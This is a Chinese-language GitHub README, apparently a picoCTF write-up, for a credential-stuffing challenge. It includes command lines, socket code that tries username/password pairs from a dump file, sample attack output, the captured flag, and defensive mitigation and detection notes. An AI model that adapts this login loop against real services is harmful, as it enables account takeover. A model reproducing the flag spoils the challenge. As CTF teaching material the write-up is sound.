6876h9/picoctf-credential-stuffing
GitHub: 6876h9/picoctf-credential-stuffing
一个专为picoCTF凭证填充挑战设计的Python自动化利用框架,用于演示和分析凭证重用攻击。
Stars: 0 | Forks: 0
# picoCTF:凭证填充攻击
**类别:** Web安全利用 | **难度:** 中等 | **解决数:** 2,032+
## 挑战概述
凭证填充是当今最常见的现实攻击向量之一。本挑战演示了来自一个服务的泄露凭证如何被武器化,用于非法访问其他账户。
### 问题陈述
### 学习目标
- 理解凭证重用的风险
- 实现自动化认证测试
- 使用套接字编程处理网络输入/输出
- 管理速率限制和连接超时
- 从响应中提取和解析Flag数据
## 技术细节
### 攻击向量
该漏洞利用使用了**凭证填充**——系统性地使用窃取的用户名/密码组合尝试认证,直到找到有效的配对。
- 自动化暴力破解方法
- 无加密组件
- 依赖用户行为(密码重用)
- 需要有效的凭证对才能成功
### 为何此攻击有效
1. 用户在多个账户中重复使用凭证
2. 数据库泄露暴露了明文或易破解的密码
3. 服务通常缺乏适当的速率限制
4. 泄露的规模使得找到有效凭证在统计上成为可能
## 仓库结构
```
picoctf-credential-stuffing/
├── src/
│ ├── exploit.py # Main solution script
│ └── simple_solution.py # Minimal working example
├── docs/
│ ├── WRITEUP.md # Detailed solution walkthrough
│ └── SECURITY_NOTES.md # Security implications
├── screenshots/
│ ├── challenge_description.png
│ └── flag_capture.png
├── README.md # This file
├── requirements.txt # Python dependencies
└── .gitignore
```
## 安装与设置
### 前置条件
- Python 3.8+
- 到目标服务的网络连接
- 有效的凭证转储文件
### 快速开始
```
# 克隆仓库
git clone https://github.com/6876h9/picoctf-credential-stuffing.git
cd picoctf-credential-stuffing
# 安装依赖(可选,脚本无外部依赖)
pip install -r requirements.txt
# 准备凭据转储文件
# 将你的 pico.txt 或 creds.txt 文件放置于根目录
```
### 运行漏洞利用程序
```
# 基础用法
python src/exploit.py -c pico.txt -H crystal-peak.picoctf.net -p 62474
# 自定义参数模式
python src/exploit.py \
--credentials pico.txt \
--host crystal-peak.picoctf.net \
--port 62474 \
--delay 0.5 \
--timeout 5
# 静默模式(减少输出)
python src/exploit.py -c pico.txt -H crystal-peak.picoctf.net -p 62474 -q
```
### 命令行选项
| 选项 | 缩写 | 类型 | 默认值 | 描述 |
|--------|-------|------|---------|-------------|
| `--credentials` | `-c` | str | 必需 | 凭证转储文件路径 |
| `--host` | `-H` | str | 必需 | 目标主机名/IP |
| `--port` | `-p` | int | 必需 | 目标服务端口 |
| `--timeout` | `-t` | int | 5 | 套接字超时(秒) |
| `--delay` | `-d` | float | 0.5 | 尝试间隔延迟(秒) |
| `--quiet` | `-q` | 标志 | False | 抑制详细输出 |
## 解题思路详解
### 期望的凭证格式
凭证转储文件应遵循以下格式:
```
username1;password1
username2;password2
username3;password3
...
```
### 攻击流程
1. **加载凭证** - 解析凭证转储文件
2. **初始化连接** - 建立到目标服务的套接字
3. **遍历凭证** - 对于每个用户名/密码对:
- 连接到服务
- 发送用户名
- 接收密码提示
- 发送密码
- 检查响应中是否包含Flag
4. **提取Flag** - 发现后捕获并显示Flag
### 预期输出
```
Loaded 1500 credential pairs
Connecting to crystal-peak.picoctf.net:62474
Starting credential stuffing attack...
[1/1500] Trying evangelo:champ
[2/1500] Trying jaylon:martins
...
[540/1500] Trying ryleigh:wapapapa
============================================================
SUCCESS! Found valid credentials at attempt 540/1500
============================================================
Username: ryleigh
Password: wapapapa
Server Response:
wapapapa
Authenticating...
Welcome ryleigh!
picoCTF{d0nt_r3u5e_cr3d3nt1als_433b090c}
============================================================
```
## 挑战截图
### 挑战描述

### 成功捕获Flag

## 安全影响
### 现实影响
凭证填充攻击会导致:
- **跨多个服务的账户接管**
- **个人/财务信息的数据泄露**
- **身份盗窃**和欺诈
- **受影响组织声誉受损**
### 缓解策略
**对于用户:**
- 为每个账户使用唯一、强密码
- 启用多因素认证(MFA)
- 监控账户是否有可疑活动
- 使用密码管理器
**对于组织:**
- 实施严格的速率限制
- 强制执行密码策略(复杂性、有效期)
- 部署MFA/2FA
- 监控异常的登录模式
- 使用验证码挑战
- 在N次失败尝试后实施账户锁定
- 记录可疑活动并发出警报
- 建立泄露通知和密码重置流程
### 检测方法
- 异常的登录速度(来自同一IP的多次尝试)
- 来自地理位置异常的登录
- 失败登录次数激增
- 成功登录后随之进行的账户更改
- API请求模式与人类行为不一致
## 关键代码片段
### 套接字通信
```
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(self.timeout)
sock.connect((self.host, self.port))
# 读取服务器提示
sock.recv(1024)
# 发送凭据
sock.send((username + "\n").encode())
sock.recv(1024)
sock.send((password + "\n").encode())
# 获取响应
response = sock.recv(4096).decode(errors="ignore")
```
### 凭证解析
```
with open(filepath, encoding="utf-8", errors="ignore") as f:
for line in f:
if ";" not in line:
continue
username, password = line.strip().split(";", 1)
self.credentials.append((username, password))
```
## 性能考量
- **延迟参数**:根据服务器的容忍度设置。太快会导致连接错误。
- **超时值**:如果目标服务器距离远或连接慢,请增加此值。
- **批量处理**:对于大型凭证集,考虑使用并行工作线程(线程/异步)。
- **内存使用**:将整个凭证列表加载到内存中。
### 优化技巧
1. **并行执行** - 使用 `ThreadPoolExecutor` 进行并发尝试。
2. **连接池** - 如果服务支持,重用套接字连接。
3. **提前退出** - 找到Flag后立即停止。
4. **批量请求** - 分组凭证以更高效地使用网络。
## 故障排除
### 连接被拒绝
```
Connection refused by crystal-peak.picoctf.net:62474
```
**解决方案:** 验证主机/端口是否正确。检查服务是否正在运行并接受连接。
### 超时错误
```
socket.timeout: timed out
```
**解决方案:** 增加 `--timeout` 值或检查网络连接。
### 未找到有效凭证
- 验证凭证文件格式(username;password)
- 确认文件已加载(`-c` 路径正确)
- 检查目标服务是否确实在运行
- 验证凭证是否尚未过期
### 权限被拒绝
```
FileNotFoundError: Credentials file not found
```
**解决方案:** 使用绝对路径或验证文件存在于当前目录中。
## 历史背景
凭证填充攻击导致了重大数据泄露:
- **Equifax (2017)** - 1.47亿条记录暴露,引发了大规模的凭证填充活动。
- **Yahoo (2013-2014)** - 30亿账户被入侵,遭受了数年的凭证重用攻击。
- **LinkedIn (2012)** - 650万密码泄露,并用于后续攻击。
本挑战在演示攻击方法的同时,教授防御意识。
## 参考资料与资源
### OWASP资源
- [OWASP - 凭证填充](https://owasp.org/www-community/attacks/Credential_stuffing)
- [OWASP 认证备忘单](https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html)
### 行业文章
- CrowdStrike - 凭证填充:新常态
- Akamai - 互联网状态报告:凭证滥用
- Gartner - 管理来自泄露凭证的风险
### 相关CTF挑战
- picoCTF: Fool the Lockout(绕过速率限制)
- picoCTF: Crack the Gate(凭证枚举)
- picoCTF: Local Authority(客户端绕过)
## 贡献
发现改进建议?有更好的方法?欢迎提交问题和拉取请求。
## 免责声明
本代码仅供教育目的使用。仅可用于您拥有或获得明确测试许可的系统。未经授权访问计算机系统是非法的。
## 作者
picoCTF的挑战解题笔记与漏洞利用框架。
GitHub: [@6876h9](https://github.com/6876h9)
## 许可证
MIT许可证 - 详情请参阅LICENSE文件
**最后更新:** 2026年5月
**挑战状态:** 已解决 ✓
**Flag:** `picoCTF{d0nt_r3u5e_cr3d3nt1als_433b090c}`
标签:CTF挑战, picoCTF, PoC, Python编程, Socket编程, Web安全, Web漏洞利用, 凭据 stuffing, 数字取证, 数据解析, 暴力破解, 漏洞利用文档, 网络安全, 网络编程, 自动化脚本, 蓝队分析, 认证测试, 逆向工具, 隐私保护